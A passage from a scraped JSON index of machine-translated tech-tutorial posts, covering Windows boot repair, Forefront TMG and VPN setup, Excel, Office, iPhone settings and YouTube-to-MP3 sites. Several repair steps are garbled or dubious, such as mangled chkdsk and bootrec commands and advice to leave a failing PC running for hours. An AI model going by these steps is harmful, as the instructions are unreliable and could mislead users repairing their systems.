automatically detected by the application. Next, you can freely choose one of the photos you like best and download that image to your personal phone. If you want, you can easily share photos directly from the application.\nDownload Selfissimo Google Arts \u0026amp; Culture\nNot as famous as other products, but Google has succeeded in introducing the Google Arts \u0026amp; Culture application with extremely modern and interesting functions. Application to turn selfie photos into works of art. Specifically, you just need to select a selfie photo and Google's algorithms will find the artwork from the museum the most similar to it. They are then displayed according to the same level.\nAs can be seen, Google has once again applied artificial intelligence technology and they again use the machine learning system, which means the system improves over time as it learns from everything it can see. You can also find images of works from many museums around the world.\nDownload Google Arts \u0026amp; Culture See more:\n7 'less popular' Android apps from Google you should know 10 useful tools of Google How to fix Pending pending download of apps on Google Play The reason why you should only download the app from Play Store and App Store ncG1vNJzZmismaXArq3KnmWcp51kgG61za2cq52jqbavs4yap6mkmZiutbXOp6pmp5ZitLC7xqWcZrGfqnq0tM6uo51lnqTBbrXGp6arnQ%3D%3D\n","link":"/post/3-interesting-applications-of-google-you-should-not-ignore/","section":"post","tags":null,"title":"3 interesting applications of Google you should not ignore"},{"body":"The download or installation process may be delayed for a long time because Apple servers must work at full capacity in the early days.\n  OS X Mavericks free upgrade.\nOS X Mavericks is declared completely free by Apple and users can download it directly from the App Store. This is very good news for many users, but it is also the reason for the upgrade to be overloaded since its release. Users should back up all data before upgrading to avoid risks.\nIn addition, the new installation is always better and more stable than the upgrade but it takes a lot of time because it has to reinstall the software, set up the system.\nSome errors may be encountered when downloading OS X Mavericks:\nStuck while loading If you choose to upgrade directly from the Mac App Store, the possibility of being completely stopped while downloading is very easy now. This is the situation because the network is slow or the server is overloaded so it stops the download process temporarily but then loses the connection again, leading to a \"stall\". When encountering this problem, users should turn off the Mac App Store completely and restart the computer to update it from the beginning.\n  To avoid errors during the installation process, you should back up the data and use the Disk Utility software to find the error on the hard drive.\nError finding hard drive The second problem may occur when OS X finds an error with the current hard drive and \" refuses\" to install. In this case, the user turns off and reboots into Recovery mode by pressing Command + R.\nNext, select Disk Utility and run the disk scan application to find the error and fix it yourself. When the completion process is restarted, proceed with the installation.\nThe installation process was stopped for too long   The installation process may stop for too long.\nNot every install is smooth with even the same computer. Initially, users should try to wait and not turn off the heater causing unfortunate risks. If the progress does not increase at all after about an hour, it is necessary to take remedial measures.\nIn case the installation stops at a step that still runs in the old operating system, the simple way is to turn off the installation process and then restart the system and reinstall it from the beginning.\nIn the case of being stopped after Mavericks installed via the reboot. The only way now is to turn off the heat by pressing and holding the power key. This is a pretty dangerous way, but in many cases it can still reboot into the old operating system. If not, users need to download the new version and create a USB or disk to install.\nncG1vNJzZmismaXArq3KnmWcp51ksLC5zKilZp2ip7yzv4ywn56mXaq9qL7AnaCnn12kwG7EjKaYr52inrCsvw%3D%3D\n","link":"/post/common-errors-when-upgrading-os-x-mavericks/","section":"post","tags":null,"title":"Common errors when upgrading OS X Mavericks"},{"body":"In this tutorial we will show you how to configure Forefront TMG as a DirectAccess server .\nNote that this tutorial will only cover the steps needed to configure Forefront TMG as a DirectAccess Server. Configuring the DirectAccess server is completely outside the scope of the article.\nOne important issue you need to know is that Forefront TMG does not accept IPv6 traffic or allows it to go through, so we must first change this behavior before Forefront TMG is installed to allow saving. the following amount:\nAuthenticated IPv6 traffic (using IPSec), including IPSec initialization traffic. Techniques for sending and sending IPv6 traffic (6to4, Teredo, IP-HTTPS and ISATAP) Original IPv6 from Forefront TMG machine. In addition, Forefront TMG integrates with Windows DirectAccess's IPSec Denial of Service Protection (DoSP) component to ensure that only IPSec traffic is allowed.\nAttention: We need to install and configure Windows Server 2008 R2 DirectAccess before installing Forefront TMG.\nFirst, install the Windows Server 2008 R2 DirectAccess management console as shown in the figure below.\n  Figure 1: Installing the Windows Server 2008 R2 DirectAccess feature\nAfter the management console has been installed, launch the DirectAccess management and configuration interface, then test all the functions before installing Forefront TMG.\n  Figure 2: DirectAccess management interface\nAfter verifying the successful DirectAccess installation and configuration, we must change the Registry with a new key before installing Forefront TMG. This key is to prevent Forefront TMG from disabling IPv6 protocol support during the Forefront TMG installation.\n[HKEY_LOCAL_MACHINESOFTWAREMicrosoftRATStingrayDebugISACTRL] \"CTRL_SKIP_DISABLE_IPV6_PROTOCOLS\" = dword: 00000001\n  Figure 3: The script enabled the IPv6 protocol support for Forefront TMG\nAfter the Registry has been successfully changed, install Forefront TMG the way you installed the regular Forefront TMG server. When installing Forefront TMG, we must change the Forefront TMG configuration with a script that allows IPv6 support. Copy the following code into a blank Notepad file and save it with the .VBS extension.\nset o = createobject (\"fpc.root\") setarr = o.Arrays.Item (1) set policy = arr.ArrayPolicy set IPV6Settings = policy.IPv6Settings IPV6Settings.DirectAccessEnabled = vbTrue arr.save\n  Figure 4: Save the script under .VBS tail\nSave the script with the .VBS extension and run it from the command line with the following command:\nCscript DA-Enable.VBS\nBecause the Forefront TMG configuration changes, you will have to wait a bit until the configuration is synchronized. You will see the configuration status in the Forefront TMG management console as shown in the figure below.\n  Figure 5: Wait for the synchronization process to complete\nThe script will create four new system policy rules for DirectAccess to support IPv6 traffic.\n  Figure 6: Some of Forefront TMG's new system policies\n'Act as a Direct Access server' button\nForefront TMG Beta and RC have an IPv6 tab in the IP preferences section of the management interface to configure Forefront TMG as the DirectAccess Server (see the picture below).\n  Figure 7: Act as a Direct Access Server button\nHowever, after the RTM version is released, the IPv6 tab is removed from the Forefront TMG console.\n  Figure 8: You will see the DirectAccess button in Forefront TMG Beta and RC versions\nHide IPv6 log entries\nForefront TMG has an option that allows you to hide IPv6 traffic from the Real-time monitoring tab. Since Forefront TMG does not support IPv6, this is an option to hide the entries for easier viewing within the TMG record.\n  Figure 9: Hide IPv6 log entries\nIf you want more functionality and flexibility, you can use Forefront UAG for your DirectAccess scenario. Using Forefront UAG will have the following advantages:\nEasy to extend (allow 8 Forefront UAG Server to join an array) High availability (with Windows Server 2008 R2 NLB) Access to old servers in the company via IPv4 Easy to configure, deploy and manage Forefront UAG installs Forefront TMG on each node during the installation process Other remote access solution for machines that are not joined to the domain. ncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYrOwvsSfqaimpGLBrrOMmqpmrJiaeqW10Z6arZmTmLK0v4ysnKuulac%3D\n","link":"/post/configure-forefront-tmg-as-the-directaccess-server/","section":"post","tags":null,"title":"Configure Forefront TMG as the DirectAccess server"},{"body":"The need for remote access (outside the office) of intranet to exchange data or use applications is increasingly popular. This is a practical need, but due to security and information security, companies are afraid to \"open\" their internal network to allow remote access. This article covers solutions for remote access VPN on Windows Server 2003 with IPSec-based encryption mechanism to ensure information security.\nVPN VPN ( virtual private network ) is a technology to build a virtual private network to meet the needs of information sharing, remote access and cost savings. Previously, for remote access to the network, people often used the dial-up Remote Access method based on the telephone network. This method is both expensive and unsafe. VPNs allow computers to communicate with each other through a shared environment like the Internet but still ensure data privacy and security. In order to provide connectivity between computers, information packets are wrapped with a header containing routing information, allowing data to be sent from the machine through the shared network environment and to the receiving machine. Such as transmitting on separate pipes is called tunnel. To ensure privacy and security on this shared environment, packets are encrypted and can only be decrypted with the appropriate keys, preventing \"theft\" of packets on the medium. Common situations of VPN:  - Remote Access: Meet the needs of data access and applications for remote users, outside the company through the Internet. For example, when users want to access databases or server files, send and receive email from the company's internal mail servers. - Site To Site: Apply to organizations with many branch offices, between offices need to exchange data with each other. For example, a multinational company that needs to share information between branches in Singapore and Vietnam, can build a Site-to-Site VPN system connecting two Vietnam and Singapore sites to create a road. Private transmission on the Internet for safe and effective communication process.  - Intranet / Internal VPN: In some organizations, the data transmission process between some parts needs to ensure privacy, not allowing other departments to access. The Intranet VPN system can meet this situation. To deploy a VPN system we need the following basic components: \n - User Authentication: provides user authentication mechanism, only allows valid users to connect and access the VPN system. - Address Management: provides a valid IP address for users after joining the VPN system to access resources on the local network.  - Data Encryption: provides a solution to encrypt data during transmission to ensure privacy and data integrity. - Key Management: provides solutions to manage keys used for data encryption and decoding. IPSEC (IP SECURITY PROTOCOL) As we know, for computers on LAN / WAN or Internet systems to communicate with each other, they must use the same protocol (like the communication language in the human world) and the popular protocol currently now TCP / IP.  When transmitting packets, we need to apply encryption and authentication mechanisms for security. There are many solutions to accomplish this, in which IPSEC encryption mechanism operates on TCP / IP protocol proved effective and cost-effective during the deployment process. During authentication or data encryption, IPSEC can use one or both of the following security protocols: - AH (Authentication Header): packet header is encrypted and protected against \"ip spoofing\" or \"man in the midle attack\" cases, but in this case the main information content is not covered. guard - ESP (Encapsulating Security Payload): The content of the information is encrypted, preventing hackers from placing eavesdropping programs and blocking data during transmission. This method is very useful, but if you want to protect the header of the packet, you must combine both protocols AH and ESP. IPSec / VPN on Windows Server 2003 We refer to the real situation of Green Lizard Books, a company specializing in publishing and distributing cultural products. In order to promote business efficiency, the management department wants business staff in the process of working outside to access the sales report (Sale Reports) shared on File Server and can interact with the machine. Count their in the office when needed. In addition, for confidential, sensitive data such as sales reports, strict encryption mechanisms can be applied to improve data security. Green Lizard Books needs an ADSL connection with a static IP address for connection and communication between inside and outside the company. Remote users (VPN Client) will connect to the VPN Server to join the company's virtual private network system and be allocated the appropriate IP address to connect to the company's internal resources. We will use 1 Windows Server 2003 machine as VPN Sever (named SRV-1), have 1 network card connected to the local network (IP: 192.168.1.1) and an ADSL card (static IP, if used Dynamic IP must be used in conjunction with Dynamic DNS services such as DtnDNS.Org or No-IP.Com) to connect to the outside (Internet). To manage users on systems and resources we need to have a domain controller installed on Windows Server 2003 named SRV-11 (IP: 192.168.0.11).   In this model, we use an external client machine running Windows XP operating system, VPN connection with IPSec ESP-based authentication and data encryption mechanism.\nHere I only present the main steps in the deployment process, details of installation and configuration you can refer to video files (.avi) downloaded at the website www.pcworld.com.vn . Step 1: Create the controler domain ( dcpromo-srv-11-greenlizardbooks-domain-controller.avi )   Step 2: Insert the SRV-1 (VPN Server) into the domain ( join_srv-1_server_to_domain.avi )   Step 3: Install VPN Server on SRV-1 ( install_vpn_server_on_srv-1.avi )   Step 4: Set up a VPN Client Client-1 to connect to the VPN Server ( create_vpn_client_1_and_connect_to_srv-1_vpn_server.avi )   Step 5: Connect the VPN Client Client-1 to the domain ( join-vpn-client-1-to-greenlizardbooks_domain.avi ) Step 6: Request for issuing electronic certificate (certificate) for VPN Server and Client for authentication and encryption. ( request_certificate_for_vpn_server_and_client.avi )   Step 7: Set up a VPN connection using L2TP / IPSEC protocol ( establish_L2TP_VPN_connection.avi )     CONCLUDE \n VPN is the most commonly used technology to provide a safe and effective connection to access internal corporate resources from outside the Internet. Although we use shared network infrastructure, we still guarantee the privacy of data as if it were communicating on a private network. The \"soft\" VPN solution introduced in this article is suitable for a small number of users, in order to meet a larger number of users, a hardware VPN solution may be required.\nTUNNELING\nTunneling is a technique that uses an intermediate network (usually the Internet) to transfer data from this computer network to another computer network but still maintain privacy and data integrity. Data transmitted after being split into frames or packets (packets) according to the communication protocols will be wrapped with a header layer containing routing information to enable packets to be transmitted through intermediate network systems according to separate roads (tunnel). When the packet is transmitted to the destination, they are separated from the header layer and transferred to the final workstation that needs to receive data. In order to establish tunnel connection, the client and server machines must use the same tunnel protocol.\n- PPTP ( Point-to-Point Tunneling Protocol ): PPTP can be used for Remote Access or Site-to-Site VPN. The advantage of using PPTP for VPN is that it does not require a certificate for authentication and the client can put behind the NAT Router. - L2TP ( Layer 2 Tunneling Protocol ): L2TP is a combination of PPTP and Layer 2 Forwading (L2F, the protocol developed by Cisco System). Compared to PPTP, L2TP has more powerful and safe features. On Microsoft systems, L2TP is combined with IPSec Encapsulating Security Payload (ESP) for data encryption, called L2TP / IPSec. This combination not only allows authentication for PPTP users, but also allows authentication for computers through certificates, improving the security of data transmission, and tunneling can takes place on many different network systems. However, in the L2TP / IPSec environment the VPN Client cannot be placed behind the NAT Router. In this case we need to have a VPN Server and VPN Client that supports IPSec NAT-T.\n\nNguyen Tran Tuong Vinh MCSA / MCSE Security, Comptia SECURITY +, SCNP Leader@Security365.Org Director - SECURE SOLUTION\nncG1vNJzZmismaXArq3KnmWcp51ksaa8y6iwZqGgqLKkedWppWarqajBprmMqKVmr5mjsbDD0maqnqqmmr9ufo9pag%3D%3D\n","link":"/post/deploy-ipsec-vpn-system-on-windows-server-2003/","section":"post","tags":null,"title":"Deploy IPSec / VPN system on Windows Server 2003"},{"body":"Unmountable Boot Volume error occurs because some installation software conflicts with the operating system or because the computer suddenly shuts down, etc. In the article below, Network Administrator will show you some ways to fix this error.\n  1. The cause of Unmountable Boot Volume error The cause of Unmountable Boot Volume error may be due to errors on hard drive files, file system errors, RAM errors, hard drive errors on old computers, or sudden computer shutdown errors, etc.\n2. Fix the Unmountable Boot Volume error To fix the Unmountable Boot Volume error, first make sure you have a USB Bootable drive used to access the computer.\nIn case if you don't have a USB Bootable drive, you can create a new USB Bootable drive using a 4 GB USB drive, then download the Windows 10 Media Creation Tool from the Microsoft home page.\n2.1. Fix Unmountable Boot Volume error by using Automatic Repair The easiest way to fix Unmountable Boot Volume error is to use the Automatic Repair Option option available on Windows 10.\n1. First turn off your Windows 10 computer by pressing and holding the Power button.\n2. Plug in the USB drive that contains the Windows Media Creation tool that you downloaded into the USB port on your computer and then proceed to open the computer.\n3. After the computer starts to boot, press the function key to access the BIOS screen.\nNote:\nDepending on the model, there will be a function key to access the separate BIOS screen. Usually you can use function keys F8, F9, F12, Escape and Delete keys.\n4. On the next window, select Boot from USB Option .\n5. Next select the USB drive you want to boot from (the USB drive contains Media Creation Tool).\n6. Now your computer will boot from the USB drive and you will see a screen like the one below:\n  7. Next, click on the Repair your computer option in the bottom left corner of the screen.\n8. On the next window click on Troubleshoot .\n  9. On the Troubleshoot window, find and click Advanced options .\n  10. On the Advanced Options window, select Automatic Repair (or Startup Repair) and click Next.\n  11. On the next window click to select Windows 10 or the operating system you currently install on the computer.\n12. Finally wait for the file repair utility. The process may take a long time.\n2.2. Use Chkdsk to fix errors The cause of the Unmountable Boot Volume error may be due to an error on the hard drive . To fix this error, you can run the Chkdsk command on the Command Prompt window.\n1. Turn off your computer by pressing the Power button .\n2. Plug in the USB drive that contains the Windows Media Creation tool that you downloaded into the USB port on your computer and then proceed to open the computer.\n3. After the computer starts to boot, press the function key to access the BIOS screen.\nNote :\nDepending on the model, there will be a function key to access the separate BIOS screen. Usually you can use function keys F8, F9, F12, Escape and Delete keys.\n4. On the next window, select Boot from USB Option .\n5. Next select the USB drive you want to boot from (the USB drive contains Media Creation Tool).\n6. Now your computer will boot from the USB drive and you will see a screen like the one below:\n  7. Select the Repair your computer option in the bottom left corner of the screen.\n8. Next click on the Troubleshoot option.\n  9. On the Troubleshoot window, click Advanced options .\n  10. Next, click Command Prompt .\n  11. On the Command Prompt window, enter chkdsk / rc: then press Enter.\n  \nNote:\nIn the above command replace C: with the name of the USB Bootable drive on your computer.\n12. Wait until Chkdsk checks for errors on the C: drive on your computer. The process will take a long time.\n13. After Chkdsk finishes the process, restart your computer and check if the error is still there.\n2.3. Fix Mastr Boot Record 1. Turn off your computer by pressing the Power button.\n2. Plug in the USB drive that contains the Windows Media Creation tool that you downloaded into the USB port on your computer and then proceed to open the computer.\n3. After the computer starts to boot, press the function key to access the BIOS screen.\n4. On the next window, select Boot from USB Option .\n5. Next select the USB drive you want to boot from (the USB drive contains Media Creation Tool).\n6. Now your computer will boot from the USB drive and you will see a screen like the one below:\n  7. On the next window, click the Troubleshoot option.\n  8. On the Troubleshoot window, click Advanced options .\n  9. Next click Command Prompt .\n  10. On the Command Prompt window, enter bootrec / fixboot into it and press Enter.\n  11. Wait for the process to finish and restart your computer, check if the error is still there.\n2.4. Different ways Applying this method may be due to 'sewing' and correcting the error.\n1. Turn off your computer and leave it on for 1 to 2 hours until the device runs out .\n2. Next, reopen your computer and on the screen you will see the error message Unmountable Boot Error .\n3. Now your computer will automatically fix the error and display the white screen .\n4. Just leave your computer for 3-4 hours and check the error again.\n2.5. Reinstall Windows 10 1. Press the Power button to turn off your Windows 10 computer.\n2. Plug in the USB drive that contains the Windows Media Creation tool that you downloaded into the USB port on your computer and then proceed to open the computer.\n3. After the computer starts to boot, press the function key to access the BIOS screen.\n4. On the next window, select Boot from USB Option .\n5. Next select the USB drive you want to boot from (the USB drive contains Media Creation Tool).\n6. Now your computer will boot from the USB drive and you will see a screen like the one below:\n  7. Click Install Now and follow the on-screen instructions to reinstall Windows 1o on your computer.\nRefer to some of the following articles: To remove web ads - Social 2 Search Ads, read this article 17 clear signs that your computer has been attacked by a virus Use the CMD command to remove viruses on Windows computers Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWlo7qwwc2tmJuklWKvsLvTZq2opKWism6x0aumq2Wfo3q4tc2dprCrXWZ9\n","link":"/post/fix-the-unmountable-boot-volume-error-on-windows-10/","section":"post","tags":null,"title":"Fix the Unmountable Boot Volume error on Windows 10"},{"body":"Youtube is the most famous video sharing website on the Internet with millions of unique users every day. In addition to videos of all genres shared by users, Youtube is also a place for singers and musicians to promote their music works.\n  You are listening to a melodious song on Youtube but on Youtube does not support downloading it. If you are looking to learn how to download music from Youtube, please watch the tutorial below!\n1. Convert Youtube videos to MP3 via 2conv.com website Step 1: You proceed to copy the link of the Youtube video in the address bar of the browser.\n  Step 2: Visit the website https://2conv.com/vn\nThen paste the Youtube video link in section (1) , edit the mp3 file format in section (2) . After making your selection, press Convert (3).\n  Step 3: After conversion is complete, you click Download to download your favorite mp3 file.\n  2. Convert Youtube video to mp3 via OnlineVideoConverter website Step 1: You get the Youtube video link in the address bar and then visit the website\nhttps://www.onlinevideoconverter.com/youtube-converter\nHere, you paste the video link in item (1) , select the mp3 format in section (2). After making your selection, click start (3) to convert the video into mp3.\n  Step 2: After the conversion is successful, click Download to download the mp3 file to your computer and you're done.\n  On the Internet there are many websites that support us convert YouTube videos into mp3. My tutorial uses 2 most popular video conversion websites, Onlinevideoconverter and 2conv. Hopefully through the article, we can know how to convert a favorite YouTube video for you already. Please support Thuthuatphanmem.vn by leaving comments and helpful contributions below the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmsKitpKqvpnnVopuep6Nitq%2FAzmakqWujYrOiv9NmmKecXabCorjIrbA%3D\n","link":"/post/how-to-convert-youtube-videos-into-mp3s-fast-and-quality/","section":"post","tags":null,"title":"How to convert Youtube Videos into MP3s fast and quality"},{"body":"Create rooms in PUBG Mobile, this feature will help you and your friends come into the room and create a private match for invited people. The room will consist of 100 people and you are allowed to choose team modes so that members of the room can choose and play according to the selected mode according to the room.\nTo create a room, you must have a card to create a room, how to create a room and make a room to create a room in PUBG Mobile you can create.\nHow to install Vietnamese interface for PUBG Mobile How to configure PUBG Mobile VNG to HD on Tencent Gaming Buddy Top the best PUBG Mobile play emulators and download links Instructions for creating rooms and how to make cards to create rooms in PUBG Mobile Step 1: Click the create room icon in the main interface.\n  Step 2: In the create room interface, click on Create Room.\n  If you see the message of the room card, click Confirm .\n  There are three places you can buy a room creation card, Shop\u0026gt; Rare item.\n  Next is Royale Pass, but you must upgrade to a new premium package to receive a room creation card.\n  Next is the Assembly, you can use the guild to buy.\n  After you have the room card, click to create room and use room card.\n  Enter your room name, select the bottom team mode and play mode, click Room Password to set the room password. Next select the map to play, then click Create Room to create a room.\n  Next you need to add members, choose room mode like Duo, Solo, Squad, choose server, map. Then click Start to start.\n  With the creation of PUBG Mobile, you can solo with your friends or create a room with a list of friends available.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKunn6J6orrDZqSao5Virm6vwKubZqyfYrCzscCtnGaZXae8sLmMoqVmqKWXtG65zpugpZ0%3D\n","link":"/post/how-to-create-a-room-and-make-a-card-to-create-a-room-in-pubg-mobile/","section":"post","tags":null,"title":"How to create a room and make a card to create a room in PUBG Mobile"},{"body":"The following article details you how to enter formulas and some basic functions in Excel 2013.\nFor the sake of convenience in the future, you should carefully study the following:\n1. How to enter formulas starting with an equal sign. To enter a formula in Excel, you must start with the equal sign or Excel will interpret it as a string. To enter the formula do the following:\nStep 1: Type the equal sign at the position of the cell to calculate according to the formula.\nStep 2: Enter the formula you want to calculate for that value cell.\nStep 3: Press Enter to see results.\nIf you want to review the formula of that cell -\u0026gt; click on the cell position, the formula will show on the formula bar.\nExample of calculating the total monthly revenue of the following enterprise:\n- In the cell to calculate, enter the formula: = D6 + D7 + D8 + D9 + D10\n  - Press Enter -\u0026gt; the result is returned:\n  2. Learn about the formula of total values ​​in a column. With a formula that contains many terms if you simply use the plus sign -\u0026gt; it will take a lot of time and the results are incorrect -\u0026gt; you can use the formula function to calculate the total value in 1 column that Excel has supported. .\nStep 1: Place the cursor at the position you want to sum -\u0026gt; Go to the Home tab -\u0026gt; Editing -\u0026gt; AutoSum -\u0026gt; Sum:\n  Step 2: Press Enter -\u0026gt; there is a formula in cell D11\n  Step 3: Press Enter -\u0026gt; the result is:\n  3. Should copy a recipe instead of creating a new formula. - In all special cases with a long complex formula, copying the formula is the best solution than creating a new formula. To copy the formula, follow these steps:\nStep 1: Click the mouse on the cell containing the formula to copy -\u0026gt; move the mouse to the lower right corner of the cell until the mouse pointer changes to a dark dark cross:\n  Step 2: Hold down the left mouse button and drag the mouse to the bottom cell to be copied -\u0026gt; get the formula when the button appears Auto Fill Option button\u0026nbsp;    Step 3: Revise the formula to suit the requirements.\n- Where the cell containing the formula is not adjacent to the cell to copy the formula, you can use the key combination Ctrl + C and when pasting need to select a valid Paste style to maintain the old formula of the copied cell.\n4. Learn about cells (cells) in Excel 2013. In Excel to determine a cell based on the row index and the column index, in which the row index is numbered, alphabetically. Delivery of rows and columns is a cell, also known as a cell. Refer to description of cell:\n  5. Update the results of the formula. If you use a formula to calculate a series of data in cells, when there is a change in the value in cells -\u0026gt; the value in the formula automatically updates the changed value.\nFor example, the first 5 months of sales with the following data:\n  - In February, due to defective products returned by customers, the revenue decreased to 456700 -\u0026gt; revised February sales:\n  - Press Enter -\u0026gt; total sales in 5 months automatically updated according to the change of February revenue:\n  6. Use the Sum formula for several values ​​in the column. In case the values ​​to be calculated are not contiguous -\u0026gt; you can use the following method and still use the Sum function:\nFor example, calculate the total turnover of the odd month:\nStep 1: In the cell to calculate enter the formula: = SUM (D6, D8, D10). Note that each cell value in the column needs to be summed as a parameter of the Sum function and separated by commas:\n  Step 2: Press Enter -\u0026gt; the result is:\n  7. Use other simple formulas in Excel 2013. 7.1 Calculate the average value. Excel 2013 supports some simple calculation functions right in the toolbar. For example, let's quickly calculate the average turnover value of 5 months as follows:\nStep 1: Click the mouse at the position you want to calculate the average value -\u0026gt; go to the Home tab -\u0026gt; Editing -\u0026gt; AutoSum -\u0026gt; Average.\n  Step 2: After selecting Average the result is:\n  Step 3: Press Enter -\u0026gt; Average 5-month turnover is:\n  7.2 Find the maximum or minimum value. - Similar to finding average value, maximum value or minimum value is the same. For example, find the biggest revenue in 5 months:\nStep 1: Click the mouse at the position you want to calculate the maximum value -\u0026gt; go to the Home tab -\u0026gt; Editing -\u0026gt; AutoSum -\u0026gt; Max.\n  Step 2: Press Enter -\u0026gt; The biggest revenue in 5 months is:\n  In the case of finding the smallest revenue, do the same instead of selecting Max to Min.\n8. Print formulas for easy memorization. If you need to memorize difficult formulas you can print them out so you can memorize them as quickly as possible. To do that you do the following:\n- Condition: Your workbook must contain those formulas to be able to print.\n- Conduct: Go to FORMULAS -\u0026gt; Formula Auditing -\u0026gt; Show Formulas.\n  After clicking Show Formulas, all formulas in the workbook are displayed, you can print them normally:\n  9. Strange sign on the spreadsheet. These are common mistakes and frequently encountered, please pay attention:\n  10. Learn other formulas. - Excel supports many useful formulas for calculations. For more formulas, do the following: Go to Home -\u0026gt; Editing -\u0026gt; AutoSum -\u0026gt; More Function.\n  - A dialog box appears that you learn about other formulas in the Select Function section.\n  Above are instructions on how to enter formulas and some simple formulas that are frequently used in Excel 2013.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2eqbKzecWoqaatnJbAbrXNZpyxm5Wh\n","link":"/post/how-to-enter-formulas-in-excel/","section":"post","tags":null,"title":"How to enter formulas in Excel"},{"body":"On Windows 10, when a new update is available for the Microsoft Office suite, you'll see an Update now button to quickly apply the latest release.\nHowever, sometimes, you'll see the error message Something went wrong . and error code 30088-26. Even after rebooting the device, you will see the same message when continuing to apply the update.\nIf you are trying to update Office applications and the error 30088-26 appears, then you have two solutions. You can repair the installation or uninstall and reinstall the application. This process will work whether you use Microsoft 365 (Office 365), Office 2019 or Office 2016.\nIn this tutorial, you will learn the steps to solve the problem when trying to update Office to the latest version on Windows 10.\nHow to fix Office installation errors to fix 30088-26 error on Windows 10 To repair an Office installation, follow these steps:\n1. Open Settings on Windows 10.\n2. Click Apps.\n3. Click Apps \u0026amp; features .\n4. In the Apps \u0026amp; features section , select the Microsoft Office 365 item .\n5. Click the Modify button .\nClick the Modify button 6. Select the Online Repair option to fix 30088-26 error.\nSelect the Online Repair option to fix 30088-26 error 7. Click the Repair button .\n8. Click the Repair button again.\nWhen you complete the steps, try updating your Office version again and this time, you will no longer see errors 30088-26.\nHow to reinstall Office to fix 30088-26 error on Windows 10 To uninstall and reinstall Microsoft Office, follow these steps:\n1. Open Settings on Windows 10.\n2. Click Apps.\n3. Click Apps \u0026amp; features .\n4. In the Apps \u0026amp; features section , select the Microsoft Office 365 item .\n5. Click the Uninstall button .\nClick the Uninstall button 6. Click the Uninstall button again.\n7. Open an Office account online.\n8. Log in with your Microsoft account.\n9. Click the Install Office button from the top right to download the installer.\nClick the Install Office button 10. Double-click the downloaded file to start automatically installing Microsoft Office 365 and fix the error 30088-26.\nAfter you complete the steps, the Office 365 application suite will reinstall on Windows 10 and you will no longer encounter errors when updating to the new version.\nHow to update Office to the latest version on Windows 10 To update Microsoft Office 365, Office 2019, or Office 2016, follow these steps:\n1. Open Word.\n2. Click Account.\n3. Click the Update Options menu and select Update Now.\nClick the Update Options menu and select Update Now 4. Continue with the instructions on the screen (if applicable).\nWhen you complete the steps, Office will download and install available updates without error messages.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqWZrYGWFeX6VZq6hnZ5iwrGwwK2gp59dpLOntcKeZKimXay2r7DOsKpmaWA%3D\n","link":"/post/how-to-fix-error-30088-26-when-updating-office-on-windows-10/","section":"post","tags":null,"title":"How to fix error 30088-26 when updating Office on Windows 10"},{"body":"The best way to free up space on iPhone and iPad is to delete unnecessary applications. However, when you press and hold an application, you only see it wobbly but don't see the delete button (the x is lost). Therefore, this article will guide you how to fix errors that cannot be deleted on iPhone and iPad applications.\nThe cause of this error is because the ' Parental Control ' feature prevents others from removing applications on your iOS device.\nHow to fix errors cannot delete apps on iPhone and iPad running iOS 12 Step 1. Open the Settings \u0026gt; Screen Time application.\n  Step 2. Now, touch Content \u0026amp; Privacy Restrictions and enter Screen Time password .\n  Step 3. Next, touch iTunes \u0026amp; App Store Purchases.\n  Step 4. Next, touch the Deleting Apps .\n  Step 5. Next, select Allow.\n  Now, go to the home screen and try to delete the app on your device. You just need to touch and hold any application and will see an X appear, touch it and identify the application.\nNote : If you want to prevent others from deleting the application on your device, follow the same steps as above and select Don't allow.\nHow to fix errors cannot delete apps on iPhone / iPad running iOS 11 or below Step 1. Open Settings\u0026gt; General\u0026gt; Restrictions .\n  Step 2. Enter Restictions password .\nStep 3. Now, turn on the Deleting Apps option in the Allow section.\n  Now you can remove unused apps on your iPhone and iPad. Similarly, if you want to prevent someone from deleting the application on your phone, follow the steps above and turn off the Deleting Apps option.\niOS 12 comes with parental control feature called Screen Time . It provides you with a number of ways to get rid of smartphone addiction along with features such as setting a time limit for each application and keeping track of phone usage time.\nI wish you all success!\nSee more:\nHow to recover limited passwords on iPhone without jailbreak How to use the Limit on iPhone / iPad feature How to reduce iPhone screen brightness to lower than the iOS limit allows, help reduce eye strain ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxlk5a7r7vTZpuepJWpsm6tz6mqZqeeYraxtM6nnGaZnpl6qrzAnQ%3D%3D\n","link":"/post/how-to-fix-errors-cannot-delete-apps-on-iphone-and-ipad/","section":"post","tags":null,"title":"How to fix errors cannot delete apps on iPhone and iPad"},{"body":"Note : The troubleshooting tips in this article apply to Windows 10, Windows 8, and Windows 7.\nWhat is Wdf01000.sys? Wdf01000.sys is a driver for Windows, part of what Microsoft calls the Windows Driver Framework. When it works properly, you don't realize it's being used.\nAll current users of Windows 10, Windows 8, and Windows 7 will likely find at least some references to wdf01000.sys in the system.\n  How does wdf01000.sys error happen? This error can occur for any reason, including outdated drivers on an old device, malware downloaded accidentally, and corrupted files.\nIn addition, these errors can occur at any time, not only when starting programs, plugging in devices but also when you perform specific actions.\nWhile the error can be listed in a number of ways, wdf01000.sys is usually in the text of the crash dump or error code, cited at the end of the error message.\nHow to fix wdf01000.sys error Driver wdf01000.sys is standard software and preventing or fixing errors is consistent across all versions of Windows.\n1. Use System Restore Restore your computer to a previous system restore point and reinstall any new software or drivers you added.\nBy restoring the system to an earlier time, you can remove the update or code that caused the error.\n2. Restart the computer First, disconnect all devices. After the computer reboots, reconnect each device until the error recurs, then update the device's drivers.\nThis helps isolate the driver that caused the error. While it may take extra time to examine each ingredient, this should get you right to the source of the problem.\n3. Scan for viruses Once the scan is complete, take any required corrective action. Malware can cause all errors and problems with the computer.\nA thorough and regular malware scan can also prevent many problems.\n4. Check for damaged or outdated drivers Use Device Manager to display the drivers installed on the computer. Damaged and outdated drivers are marked with a yellow exclamation mark.\nDamaged or outdated drivers cause this kind of problem and updating the driver will prevent the error and any problems related to it.\n5. Repair Windows system files Use Windows System File Checker (SFC) to repair corrupted files. Corrupt files are also worse (or worse) than outdated ones.\nCorrupted files on the system can cause errors and problems with other software on the system.\n6. Run Check Disk This command scans for corrupt files. In many cases, checking 